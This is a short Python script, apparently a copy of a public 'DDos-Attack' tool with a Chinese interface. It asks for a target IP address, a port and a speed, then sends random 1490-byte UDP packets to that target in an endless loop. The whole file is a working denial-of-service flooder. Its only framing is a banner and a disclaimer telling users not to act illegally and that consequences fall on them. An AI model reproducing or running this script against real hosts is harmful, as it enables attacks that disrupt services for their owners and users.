# python3

import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year

##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############

os.system("clear")
os.system("figlet DDos-Attack")
print (" ")
print (" -----------Warning!!!    注意！！！！---------------------- ")
print (" ")
print ("/-----------------------------------------------------------\ ")
print ("| Testing:  Blackarch                                       |")
print ("| github : https://github.com/Ha3MrX/DDos-Attack            |")
print ("| 优化gitee: https://gitee.com/micheal003/ddos-attack.git   |")
print ("|                                                           | ")
print ("| ---没有金刚手段，和有利剑在手而不用不一样---              |")
print ("|                                                           | ")
print ("| ---醉里挑灯看剑，梦回吹角连营.....                        | " )
print ("\----------------------------------------------------------/")
print (" ")
print (" -------[继续操作则表示您对将要做的事很清楚明白！！！]------- ")
print (" ")
print (" -----------------请勿非法[违规]操作，后果使用者自担！！----- ")
print (" ")
ip = input("请输入 IP     : ")
port = int(input("攻击端口      : "))
sd = int(input("攻击速度(1~1000) : "))

os.system("clear")

sent = 0
while True:
     sock.sendto(bytes, (ip,port))
     sent = sent + 1
     print ("已发送 %s 个数据包到 %s 端口 %d"%(sent,ip,port))
     time.sleep((1000-sd)/2000)

